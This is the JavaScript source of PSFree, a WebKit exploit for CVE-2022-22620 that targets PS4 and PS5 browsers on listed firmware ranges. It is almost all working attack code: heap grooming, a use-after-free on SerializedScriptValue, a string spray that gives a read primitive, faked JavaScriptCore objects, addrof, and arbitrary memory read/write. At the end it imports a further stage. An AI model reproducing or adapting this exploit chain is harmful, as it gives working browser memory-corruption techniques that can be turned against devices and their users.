838 lines
25 KiB
JavaScript
838 lines
25 KiB
JavaScript
/* Copyright (C) 2023-2025 anonymous
|
|
|
|
This file is part of PSFree.
|
|
|
|
PSFree is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU Affero General Public License as
|
|
published by the Free Software Foundation, either version 3 of the
|
|
License, or (at your option) any later version.
|
|
|
|
PSFree is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU Affero General Public License for more details.
|
|
|
|
You should have received a copy of the GNU Affero General Public License
|
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
|
|
// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
|
|
//
|
|
// vulnerable:
|
|
// * PS4 [6.00, 10.00)
|
|
// * PS5 [1.00, 6.00)
|
|
//
|
|
// * CelesteBlue from ps4-dev on discord.com
|
|
// * Helped in figuring out the size of WebCore::SerializedScriptValue and
|
|
// its needed offsets on different firmwares.
|
|
// * figured out the range of vulnerable firmwares
|
|
// * janisslsm from ps4-dev on discord.com
|
|
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
|
// needed offsets on different firmwares.
|
|
// * Kameleon_ from ps4-dev on discord.com - tester
|
|
// * SlidyBat from PS5 R&D discord.com
|
|
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
|
// needed offsets on different firmwares (PS5).
|
|
|
|
import { Int } from "./module/int64.mjs";
|
|
import { Memory } from "./module/mem.mjs";
|
|
import { KB, MB } from "./module/offset.mjs";
|
|
import { BufferView } from "./module/rw.mjs";
|
|
|
|
import { die, DieError, log, clear_log, sleep, hex, align } from "./module/utils.mjs";
|
|
|
|
import * as config from "./config.mjs";
|
|
import * as off from "./module/offset.mjs";
|
|
|
|
// check if we are running on a supported firmware version
|
|
const [is_ps4, version] = (() => {
|
|
const value = config.target;
|
|
const is_ps4 = (value & 0x10000) === 0;
|
|
const version = value & 0xffff;
|
|
const [lower, upper] = (() => {
|
|
if (is_ps4) {
|
|
return [0x600, 0x1000];
|
|
} else {
|
|
return [0x100, 0x600];
|
|
}
|
|
})();
|
|
|
|
if (!(lower <= version && version < upper)) {
|
|
throw RangeError(`invalid config.target: ${hex(value)}`);
|
|
}
|
|
|
|
log(`console: PS${is_ps4 ? "4" : "5"} | firmware: ${hex(version)}`);
|
|
|
|
return [is_ps4, version];
|
|
})();
|
|
|
|
const ssv_len = (() => {
|
|
// All supported PS5 versions
|
|
if (!is_ps4) {
|
|
return 0x50;
|
|
}
|
|
|
|
// PS4
|
|
if (0x600 <= version && version < 0x650) {
|
|
return 0x58;
|
|
}
|
|
if (0x650 <= version && version < 0x900) {
|
|
return 0x48;
|
|
}
|
|
if (0x900 <= version) {
|
|
return 0x50;
|
|
}
|
|
throw new RangeError(`unsupported: PS${is_ps4 ? "4" : "5"} | firmware ${hex(version)}`);
|
|
})();
|
|
|
|
// these constants are expected to be divisible by 2
|
|
const num_fsets = 0x180;
|
|
const num_spaces = 0x40;
|
|
const num_adjs = 8;
|
|
|
|
const num_reuses = 0x300;
|
|
const num_strs = 0x200;
|
|
const num_leaks = 0x100;
|
|
|
|
// we can use the rows attribute of a frameset to allocate from fastMalloc
|
|
//
|
|
// see parseAttribute() from
|
|
// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
|
|
//
|
|
// parseAttribute() will call newLengthArray():
|
|
//
|
|
// UniqueArray<Length> newLengthArray(const String& string, int& len)
|
|
// {
|
|
// RefPtr<StringImpl> str = string.impl()->simplifyWhiteSpace();
|
|
// ...
|
|
// len = countCharacter(*str, ',') + 1; [1]
|
|
// auto r = makeUniqueArray<Length>(len); [2]
|
|
// ...
|
|
// }
|
|
//
|
|
// pseudocode definition:
|
|
//
|
|
// class UniqueArray<Length>:
|
|
// size_t _size; [3]
|
|
// Length _data[];
|
|
//
|
|
// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
|
|
// [3] adds an extra 8 bytes to the array
|
|
//
|
|
// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
|
|
// fastMalloc, then we need:
|
|
//
|
|
// const num_repeats = ssv_len / 8 - 2;
|
|
// const rows = ','.repeat(num_repeats);
|
|
const rows = ",".repeat(ssv_len / 8 - 2);
|
|
|
|
const original_strlen = ssv_len - off.size_strimpl;
|
|
const original_loc = location.pathname;
|
|
|
|
function gc() {
|
|
new Uint8Array(4 * MB);
|
|
}
|
|
|
|
function sread64(str, offset) {
|
|
const low = str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24);
|
|
const high = str.charCodeAt(offset + 4) | (str.charCodeAt(offset + 5) << 8) | (str.charCodeAt(offset + 6) << 16) | (str.charCodeAt(offset + 7) << 24);
|
|
return new Int(low, high);
|
|
}
|
|
|
|
function prepare_uaf() {
|
|
const fsets = [];
|
|
const indices = [];
|
|
|
|
function alloc_fs(fsets, size) {
|
|
for (let i = 0; i < size / 2; i++) {
|
|
const fset = document.createElement("frameset");
|
|
fset.rows = rows;
|
|
fset.cols = rows;
|
|
fsets.push(fset);
|
|
}
|
|
}
|
|
|
|
// the first call to either replaceState/pushState is likely to allocate a
|
|
// JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
|
|
// the SmallLine where the SSV resides from being freed. so we do a dummy
|
|
// call first
|
|
history.replaceState("state0", "");
|
|
|
|
alloc_fs(fsets, num_fsets);
|
|
|
|
// the "state1" SSVs is what we will UAF
|
|
|
|
history.pushState("state1", "", `${original_loc}#bar`);
|
|
indices.push(fsets.length);
|
|
|
|
alloc_fs(fsets, num_spaces);
|
|
|
|
history.pushState("state1", "", `${original_loc}#foo`);
|
|
indices.push(fsets.length);
|
|
|
|
alloc_fs(fsets, num_spaces);
|
|
|
|
history.pushState("state2", "");
|
|
return [fsets, indices];
|
|
}
|
|
|
|
// WebCore::SerializedScriptValue use-after-free
|
|
//
|
|
// be careful when accessing history.state since History::state() will get
|
|
// called. History will cache the SSV at its m_lastStateObjectRequested if you
|
|
// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
|
|
async function uaf_ssv(fsets, index, index2) {
|
|
const views = [];
|
|
const input = document.createElement("input");
|
|
input.id = "input";
|
|
const foo = document.createElement("input");
|
|
foo.id = "foo";
|
|
const bar = document.createElement("a");
|
|
bar.id = "bar";
|
|
|
|
log(`ssv_len: ${hex(ssv_len)}`);
|
|
|
|
let pop = null;
|
|
let pop2 = null;
|
|
let pop_promise2 = null;
|
|
let blurs = [0, 0];
|
|
let resolves = [];
|
|
|
|
function onpopstate(event) {
|
|
const no_pop = pop === null;
|
|
const idx = no_pop ? 0 : 1;
|
|
|
|
log(`pop ${idx} came`);
|
|
if (blurs[idx] === 0) {
|
|
const r = resolves[idx][1];
|
|
r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
|
|
}
|
|
|
|
if (no_pop) {
|
|
pop_promise2 = new Promise((resolve, reject) => {
|
|
resolves.push([resolve, reject]);
|
|
addEventListener("popstate", onpopstate, { once: true });
|
|
history.back();
|
|
});
|
|
}
|
|
|
|
if (no_pop) {
|
|
pop = event;
|
|
} else {
|
|
pop2 = event;
|
|
}
|
|
resolves[idx][0]();
|
|
}
|
|
|
|
const pop_promise = new Promise((resolve, reject) => {
|
|
resolves.push([resolve, reject]);
|
|
addEventListener("popstate", onpopstate, { once: true });
|
|
});
|
|
|
|
function onblur(event) {
|
|
const target = event.target;
|
|
const is_input = target === input;
|
|
const idx = is_input ? 0 : 1;
|
|
log(`${target.id} blur came`);
|
|
|
|
if (blurs[idx] > 0) {
|
|
die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
|
|
}
|
|
|
|
// we replace the URL with the original so the user can rerun the
|
|
// exploit via a reload. If we don't, the exploit will append another
|
|
// "#foo" to the URL and the input element will not be blurred because
|
|
// the foo element won't be scrolled to during history.back()
|
|
history.replaceState("state3", "", original_loc);
|
|
|
|
// free the SerializedScriptValue's neighbors and thus free the
|
|
// SmallLine where it resides
|
|
const fset_idx = is_input ? index : index2;
|
|
for (let i = fset_idx - num_adjs / 2; i < fset_idx + num_adjs / 2; i++) {
|
|
fsets[i].rows = "";
|
|
fsets[i].cols = "";
|
|
}
|
|
|
|
for (let i = 0; i < num_reuses; i++) {
|
|
const view = new Uint8Array(new ArrayBuffer(ssv_len));
|
|
view[0] = 0x41;
|
|
views.push(view);
|
|
}
|
|
|
|
blurs[idx]++;
|
|
}
|
|
|
|
input.addEventListener("blur", onblur);
|
|
foo.addEventListener("blur", onblur);
|
|
|
|
document.body.append(input);
|
|
document.body.append(foo);
|
|
document.body.append(bar);
|
|
|
|
// FrameLoader::loadInSameDocument() calls Document::statePopped().
|
|
// statePopped() will defer firing of popstate until we're in the complete
|
|
// state
|
|
//
|
|
// this means that onblur() will run with "state2" as the current history
|
|
// item if we call loadInSameDocument too early
|
|
log(`readyState now: ${document.readyState}`);
|
|
|
|
if (document.readyState !== "complete") {
|
|
await new Promise((resolve) => {
|
|
document.addEventListener("readystatechange", function foo() {
|
|
if (document.readyState === "complete") {
|
|
document.removeEventListener("readystatechange", foo);
|
|
resolve();
|
|
}
|
|
});
|
|
});
|
|
}
|
|
|
|
log(`readyState now: ${document.readyState}`);
|
|
|
|
await new Promise((resolve) => {
|
|
input.addEventListener("focus", resolve, { once: true });
|
|
input.focus();
|
|
});
|
|
|
|
history.back();
|
|
await pop_promise;
|
|
await pop_promise2;
|
|
|
|
log("done await popstate");
|
|
|
|
input.remove();
|
|
foo.remove();
|
|
bar.remove();
|
|
|
|
const res = [];
|
|
for (let i = 0; i < views.length; i++) {
|
|
const view = views[i];
|
|
if (view[0] !== 0x41) {
|
|
log(`view index: ${hex(i)}`);
|
|
log("found view:");
|
|
log(view);
|
|
|
|
// set SSV's refcount to 1, all other fields to 0/NULL
|
|
view[0] = 1;
|
|
view.fill(0, 1);
|
|
|
|
if (res.length) {
|
|
res[1] = [new BufferView(view.buffer), pop2];
|
|
break;
|
|
}
|
|
|
|
// return without keeping any references to pop, making it GC-able.
|
|
// its WebCore::PopStateEvent will then be freed on its death
|
|
res[0] = new BufferView(view.buffer);
|
|
i = num_reuses - 1;
|
|
}
|
|
}
|
|
|
|
if (res.length !== 2) {
|
|
die("failed SerializedScriptValue UAF");
|
|
}
|
|
return res;
|
|
}
|
|
|
|
class Reader {
|
|
constructor(rstr, rstr_view) {
|
|
this.rstr = rstr;
|
|
this.rstr_view = rstr_view;
|
|
this.m_data = rstr_view.read64(off.strimpl_m_data);
|
|
}
|
|
|
|
read8_at(offset) {
|
|
return this.rstr.charCodeAt(offset);
|
|
}
|
|
|
|
read32_at(offset) {
|
|
const str = this.rstr;
|
|
return (str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24)) >>> 0;
|
|
}
|
|
|
|
read64_at(offset) {
|
|
return sread64(this.rstr, offset);
|
|
}
|
|
|
|
read64(addr) {
|
|
this.rstr_view.write64(off.strimpl_m_data, addr);
|
|
return sread64(this.rstr, 0);
|
|
}
|
|
|
|
set_addr(addr) {
|
|
this.rstr_view.write64(off.strimpl_m_data, addr);
|
|
}
|
|
|
|
// remember to use this to fix up the StringImpl before freeing it
|
|
restore() {
|
|
this.rstr_view.write64(off.strimpl_m_data, this.m_data);
|
|
this.rstr_view.write32(off.strimpl_strlen, original_strlen);
|
|
}
|
|
}
|
|
|
|
// we now have a double free on the fastMalloc heap
|
|
async function make_rdr(view) {
|
|
let str_wait = 0;
|
|
const strs = [];
|
|
const u32 = new Uint32Array(1);
|
|
const u8 = new Uint8Array(u32.buffer);
|
|
const marker_offset = original_strlen - 4;
|
|
const pad = "B".repeat(marker_offset);
|
|
|
|
log("start string spray");
|
|
while (true) {
|
|
for (let i = 0; i < num_strs; i++) {
|
|
u32[0] = i;
|
|
// on versions like 8.0x:
|
|
// * String.fromCharCode() won't create a 8-bit string. so we use
|
|
// fromCodePoint() instead
|
|
// * Array.prototype.join() won't try to convert 16-bit strings to
|
|
// 8-bit
|
|
//
|
|
// given the restrictions above, we will ensure "str" is always a
|
|
// 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
|
|
// to see that String.prototype.repeat() will create a 8-bit string
|
|
// if the repeated string's length is 1
|
|
//
|
|
// Array.prototype.join() calls JSC::JSStringJoiner::join(). it
|
|
// returns a plain JSString (not a JSRopeString). that means we
|
|
// have allocated a WTF::StringImpl with the proper size and whose
|
|
// string data is inlined
|
|
const str = [pad, String.fromCodePoint(...u8)].join("");
|
|
strs.push(str);
|
|
}
|
|
|
|
if (view.read32(off.strimpl_inline_str) === 0x42424242) {
|
|
view.write32(off.strimpl_strlen, 0xffffffff);
|
|
break;
|
|
}
|
|
|
|
strs.length = 0;
|
|
gc();
|
|
await sleep();
|
|
str_wait++;
|
|
}
|
|
log(`JSString reused memory at loop: ${str_wait}`);
|
|
|
|
const idx = view.read32(off.strimpl_inline_str + marker_offset);
|
|
log(`str index: ${hex(idx)}`);
|
|
log("view:");
|
|
log(view);
|
|
|
|
// versions like 8.0x have a JSC::JSString that have their own m_length
|
|
// field. strings consult that field instead of the m_length of their
|
|
// StringImpl
|
|
//
|
|
// we work around this by passing the string to Error.
|
|
// ErrorInstance::create() will then create a new JSString initialized from
|
|
// the StringImpl of the message argument
|
|
const rstr = Error(strs[idx]).message;
|
|
log(`str len: ${hex(rstr.length)}`);
|
|
if (rstr.length === 0xffffffff) {
|
|
log("confirmed correct leaked");
|
|
const addr = view.read64(off.strimpl_m_data).sub(off.strimpl_inline_str);
|
|
log(`view's buffer address: ${addr}`);
|
|
return new Reader(rstr, view);
|
|
}
|
|
die("JSString wasn't modified");
|
|
}
|
|
|
|
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
|
|
// of JSValues whose size is ssv_len. the undefined constant is automatically
|
|
// added due to reasons such as "undefined is returned by default if the
|
|
// function exits without returning anything"
|
|
const cons_len = ssv_len - 8 * 5;
|
|
const bt_offset = 0;
|
|
const idx_offset = ssv_len - 8 * 3;
|
|
const strs_offset = ssv_len - 8 * 2;
|
|
const src_part = (() => {
|
|
// we user var instead of let/const since such variables always get
|
|
// initialized to the NULL JSValue even if you immediately return. we will
|
|
// make functions that do as little as possible in order to speed up the
|
|
// exploit. m_constantRegisters will still contain the unused constants
|
|
//
|
|
// function foo() {
|
|
// return;
|
|
// let a = 1;
|
|
// }
|
|
//
|
|
// the resulting bytecode:
|
|
// bb#1
|
|
// [ 0] enter
|
|
// [ 1] get_scope loc4
|
|
// [ 3] mov loc5, loc4
|
|
// [ 6] check_traps
|
|
// // this part still initializes a with the NULL JSValue
|
|
// [ 7] mov loc6, <JSValue()>(const0)
|
|
// [ 10] ret Undefined(const1)
|
|
// Successors: [ ]
|
|
//
|
|
// bb#2
|
|
// [ 12] mov loc6, Int32: 1(const2)
|
|
// [ 15] ret Undefined(const1)
|
|
// Successors: [ ]
|
|
//
|
|
//
|
|
// Constants:
|
|
// k0 = <JSValue()>
|
|
// k1 = Undefined
|
|
// k2 = Int32: 1: in source as integer
|
|
let res = "var f = 0x11223344;\n";
|
|
// make unique constants that won't collide with the possible marker values
|
|
for (let i = 0; i < cons_len; i += 8) {
|
|
res += `var a${i} = ${num_leaks + i};\n`;
|
|
}
|
|
return res;
|
|
})();
|
|
|
|
async function leak_code_block(reader, bt_size) {
|
|
const rdr = reader;
|
|
const bt = [];
|
|
// take into account the cell and indexing header of the immutable
|
|
// butterfly
|
|
for (let i = 0; i < bt_size - 0x10; i += 8) {
|
|
bt.push(i);
|
|
}
|
|
|
|
// cache the global variable resolution
|
|
const slen = ssv_len;
|
|
|
|
const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
|
|
const part = bt_part + src_part;
|
|
const cache = [];
|
|
for (let i = 0; i < num_leaks; i++) {
|
|
cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
|
|
}
|
|
|
|
const chunkSize = is_ps4 && version < 0x900 ? 128 * KB : 1 * MB;
|
|
const smallPageSize = 4 * KB;
|
|
const search_addr = align(rdr.m_data, chunkSize);
|
|
log(`search addr: ${search_addr}`);
|
|
|
|
log(`func_src:\n${cache[0]}\nfunc_src end`);
|
|
log("start find CodeBlock");
|
|
let winning_off = null;
|
|
let winning_idx = null;
|
|
let winning_f = null;
|
|
let find_cb_loop = 0;
|
|
// false positives
|
|
let fp = 0;
|
|
rdr.set_addr(search_addr);
|
|
loop: while (true) {
|
|
const funcs = [];
|
|
for (let i = 0; i < num_leaks; i++) {
|
|
const f = Function(cache[i]);
|
|
// the first call allocates the CodeBlock
|
|
f();
|
|
funcs.push(f);
|
|
}
|
|
|
|
for (let p = 0; p < chunkSize; p += smallPageSize) {
|
|
for (let i = p; i < p + smallPageSize; i += slen) {
|
|
if (rdr.read32_at(i + 8) !== 0x11223344) {
|
|
continue;
|
|
}
|
|
|
|
rdr.set_addr(rdr.read64_at(i + strs_offset));
|
|
const m_type = rdr.read8_at(5);
|
|
// make sure we're not reading the constant registers of an
|
|
// UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
|
|
// CodeBlock converts those to JSArrays
|
|
if (m_type !== 0) {
|
|
rdr.set_addr(search_addr);
|
|
winning_off = i;
|
|
winning_idx = rdr.read32_at(i + idx_offset);
|
|
winning_f = funcs[winning_idx];
|
|
break loop;
|
|
}
|
|
rdr.set_addr(search_addr);
|
|
fp++;
|
|
}
|
|
}
|
|
|
|
find_cb_loop++;
|
|
gc();
|
|
await sleep();
|
|
}
|
|
log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
|
|
log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
|
|
|
|
log("CodeBlock.m_constantRegisters.m_buffer:");
|
|
rdr.set_addr(search_addr.add(winning_off));
|
|
for (let i = 0; i < slen; i += 8) {
|
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
|
}
|
|
|
|
const bt_addr = rdr.read64_at(bt_offset);
|
|
const strs_addr = rdr.read64_at(strs_offset);
|
|
log(`immutable butterfly addr: ${bt_addr}`);
|
|
log(`string array passed to tag addr: ${strs_addr}`);
|
|
|
|
log("JSImmutableButterfly:");
|
|
rdr.set_addr(bt_addr);
|
|
for (let i = 0; i < bt_size; i += 8) {
|
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
|
}
|
|
|
|
log("string array:");
|
|
rdr.set_addr(strs_addr);
|
|
for (let i = 0; i < off.size_jsobj; i += 8) {
|
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
|
}
|
|
|
|
return [winning_f, bt_addr, strs_addr];
|
|
}
|
|
|
|
// data to write to the SerializedScriptValue
|
|
//
|
|
// setup to make deserialization create an ArrayBuffer with an arbitrary buffer
|
|
// address
|
|
function make_ssv_data(ssv_buf, view, view_p, addr, size) {
|
|
// sizeof JSC::ArrayBufferContents
|
|
const size_abc = (() => {
|
|
if (is_ps4) {
|
|
return version >= 0x900 ? 0x18 : 0x20;
|
|
} else {
|
|
return version >= 0x300 ? 0x18 : 0x20;
|
|
}
|
|
})();
|
|
|
|
const data_len = 9;
|
|
// sizeof WTF::Vector<T>
|
|
const size_vector = 0x10;
|
|
|
|
// SSV offsets
|
|
const off_m_data = 8;
|
|
const off_m_abc = 0x18;
|
|
// view offsets
|
|
const voff_vec_abc = 0; // Vector<ArrayBufferContents>
|
|
const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
|
|
const voff_data = voff_abc + size_abc;
|
|
|
|
// WTF::Vector<unsigned char>
|
|
// write m_data
|
|
// m_buffer
|
|
ssv_buf.write64(off_m_data, view_p.add(voff_data));
|
|
// m_capacity
|
|
ssv_buf.write32(off_m_data + 8, data_len);
|
|
// m_size
|
|
ssv_buf.write64(off_m_data + 0xc, data_len);
|
|
|
|
// 6 is the serialization format version number for ps4 6.00. The format
|
|
// is backwards compatible and using a value less than the current version
|
|
// number used by a specific WebKit version is considered valid.
|
|
//
|
|
// See CloneDeserializer::isValid() from
|
|
// WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
|
|
const CurrentVersion = 6;
|
|
const ArrayBufferTransferTag = 23;
|
|
view.write32(voff_data, CurrentVersion);
|
|
view[voff_data + 4] = ArrayBufferTransferTag;
|
|
view.write32(voff_data + 5, 0);
|
|
|
|
// std::unique_ptr<WTF::Vector<JSC::ArrayBufferContents>>
|
|
// write m_arrayBufferContentsArray
|
|
ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
|
|
// write WTF::Vector<JSC::ArrayBufferContents>
|
|
view.write64(voff_vec_abc, view_p.add(voff_abc));
|
|
view.write32(voff_vec_abc + 8, 1);
|
|
view.write32(voff_vec_abc + 0xc, 1);
|
|
|
|
if (size_abc === 0x20) {
|
|
// m_destructor, offset 0, leave as 0
|
|
// m_shared, offset 8, leave as 0
|
|
// m_data
|
|
view.write64(voff_abc + 0x10, addr);
|
|
// m_sizeInBytes
|
|
view.write32(voff_abc + 0x18, size);
|
|
} else {
|
|
// m_data
|
|
view.write64(voff_abc + 0, addr);
|
|
// m_destructor (48 bits), offset 8, leave as 0
|
|
// m_shared (48 bits), offset 0xe, leave as 0
|
|
// m_sizeInBytes
|
|
view.write32(voff_abc + 0x14, size);
|
|
}
|
|
}
|
|
|
|
async function make_arw(reader, view2, pop) {
|
|
const rdr = reader;
|
|
|
|
// we have to align the fake object to atomSize (16) else the process
|
|
// crashes. we don't know why
|
|
//
|
|
// since cells (GC memory chunks) are always aligned to atomSize, there
|
|
// might be code that's assuming that all GC pointers are aligned
|
|
//
|
|
// see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
|
|
// PS4 8.0x
|
|
const fakeobj_off = 0x20;
|
|
const fakebt_base = fakeobj_off + off.size_jsobj;
|
|
// sizeof JSC::IndexingHeader
|
|
const indexingHeader_size = 8;
|
|
// sizeof JSC::ArrayStorage
|
|
const arrayStorage_size = 0x18;
|
|
// there's only the .raw property
|
|
const propertyStorage = 8;
|
|
const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
|
|
|
|
log("STAGE: leak CodeBlock");
|
|
// has too be greater than 0x10. the size of JSImmutableButterfly
|
|
const bt_size = 0x10 + fakebt_off + arrayStorage_size;
|
|
const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
|
|
|
|
const view = rdr.rstr_view;
|
|
const view_p = rdr.m_data.sub(off.strimpl_inline_str);
|
|
const view_save = new Uint8Array(view);
|
|
|
|
view.fill(0);
|
|
make_ssv_data(view2, view, view_p, bt_addr, bt_size);
|
|
|
|
const bt = new BufferView(pop.state);
|
|
view.set(view_save);
|
|
|
|
log("ArrayBuffer pointing to JSImmutableButterfly:");
|
|
for (let i = 0; i < bt.byteLength; i += 8) {
|
|
log(`${bt.read64(i)} | ${hex(i)}`);
|
|
}
|
|
|
|
// the immutable butterfly's indexing type is ArrayWithInt32 so
|
|
// JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
|
|
// for JSObjects to recursively visit. this means that we can write
|
|
// anything to the the butterfly's data area without fear of a GC crash
|
|
|
|
const val_true = 7; // JSValue of "true"
|
|
const strs_cell = rdr.read64(strs_addr);
|
|
|
|
bt.write64(fakeobj_off, strs_cell);
|
|
bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
|
|
|
|
// since .raw is the first ever created property, it's just besides the
|
|
// indexing header
|
|
bt.write64(fakebt_off - 0x10, val_true);
|
|
// indexing header's publicLength and vectorLength
|
|
bt.write32(fakebt_off - 8, 1);
|
|
bt.write32(fakebt_off - 8 + 4, 1);
|
|
|
|
// custom ArrayStorage that allows read/write to index 0. we have to use an
|
|
// ArrayStorage because the structure assigned to the structure ID expects
|
|
// one so visitButterfly() will crash if we try to fake the object with a
|
|
// regular butterfly
|
|
|
|
// m_sparseMap
|
|
bt.write64(fakebt_off, 0);
|
|
// m_indexBias
|
|
bt.write32(fakebt_off + 8, 0);
|
|
// m_numValuesInVector
|
|
bt.write32(fakebt_off + 0xc, 1);
|
|
|
|
// m_vector[0]
|
|
bt.write64(fakebt_off + 0x10, val_true);
|
|
|
|
// immutable_butterfly[0] = fakeobj;
|
|
bt.write64(0x10, bt_addr.add(fakeobj_off));
|
|
|
|
const fake = func()[0];
|
|
log(`fake.raw: ${fake.raw}`);
|
|
log(`fake[0]: ${fake[0]}`);
|
|
log(`fake: [${fake}]`);
|
|
|
|
const test_val = 3;
|
|
log(`test setting fake[0] to ${test_val}`);
|
|
fake[0] = test_val;
|
|
if (fake[0] !== test_val) {
|
|
die(`unexpected fake[0]: ${fake[0]}`);
|
|
}
|
|
|
|
function addrof(obj) {
|
|
fake[0] = obj;
|
|
return bt.read64(fakebt_off + 0x10);
|
|
}
|
|
|
|
// m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
|
|
// unlike FastTypedArray, where the buffer is managed by the GC. This
|
|
// prevents random crashes.
|
|
//
|
|
// See JSGenericTypedArrayView<Adaptor>::visitChildren() from
|
|
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
|
|
// PS4 8.0x.
|
|
const worker = new DataView(new ArrayBuffer(1));
|
|
const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
|
|
|
|
const leaker = { addr: null, 0: 0 };
|
|
|
|
const worker_p = addrof(worker);
|
|
const main_p = addrof(main_template);
|
|
const leaker_p = addrof(leaker);
|
|
|
|
// we'll fake objects using a JSArrayBufferView whose m_mode is
|
|
// FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
|
|
// current fastSizeLimit is 1000. if the length is less than or equal to
|
|
// that, we get a FastTypedArray
|
|
const scaled_sview = off.size_view / 4;
|
|
const faker = new Uint32Array(scaled_sview);
|
|
const faker_p = addrof(faker);
|
|
const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
|
|
|
|
const vector_idx = off.view_m_vector / 4;
|
|
const length_idx = off.view_m_length / 4;
|
|
const mode_idx = off.view_m_mode / 4;
|
|
const bt_idx = off.js_butterfly / 4;
|
|
|
|
// fake a Uint32Array using GC memory
|
|
faker[vector_idx] = worker_p.lo;
|
|
faker[vector_idx + 1] = worker_p.hi;
|
|
faker[length_idx] = scaled_sview;
|
|
|
|
rdr.set_addr(main_p);
|
|
faker[mode_idx] = rdr.read32_at(off.view_m_mode);
|
|
// JSCell
|
|
faker[0] = rdr.read32_at(0);
|
|
faker[1] = rdr.read32_at(4);
|
|
faker[bt_idx] = rdr.read32_at(off.js_butterfly);
|
|
faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
|
|
|
|
// fakeobj()
|
|
bt.write64(fakebt_off + 0x10, faker_vector);
|
|
const main = fake[0];
|
|
|
|
log("main (pointing to worker):");
|
|
for (let i = 0; i < off.size_view; i += 8) {
|
|
const idx = i / 4;
|
|
log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
|
|
}
|
|
|
|
new Memory(main, worker, leaker, leaker_p.add(off.js_inline_prop), rdr.read64(leaker_p.add(off.js_butterfly)));
|
|
log("achieved arbitrary r/w");
|
|
|
|
rdr.restore();
|
|
// set the refcount to a high value so we don't free the memory, view's
|
|
// death will already free it (a StringImpl is currently using the memory)
|
|
view.write32(0, -1);
|
|
// ditto (a SerializedScriptValue is currently using the memory)
|
|
view2.write32(0, -1);
|
|
// we don't want its death to call fastFree() on GC memory
|
|
make_arw._buffer = bt.buffer;
|
|
}
|
|
|
|
async function main() {
|
|
log("STAGE: UAF SSV");
|
|
const [fsets, indices] = prepare_uaf();
|
|
const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
|
|
|
|
log("STAGE: get string relative read primitive");
|
|
const rdr = await make_rdr(view);
|
|
|
|
for (const fset of fsets) {
|
|
fset.rows = "";
|
|
fset.cols = "";
|
|
}
|
|
|
|
log("STAGE: achieve arbitrary read/write primitive");
|
|
await make_arw(rdr, view2, pop);
|
|
|
|
clear_log();
|
|
import("./lapse.mjs");
|
|
}
|
|
main();
|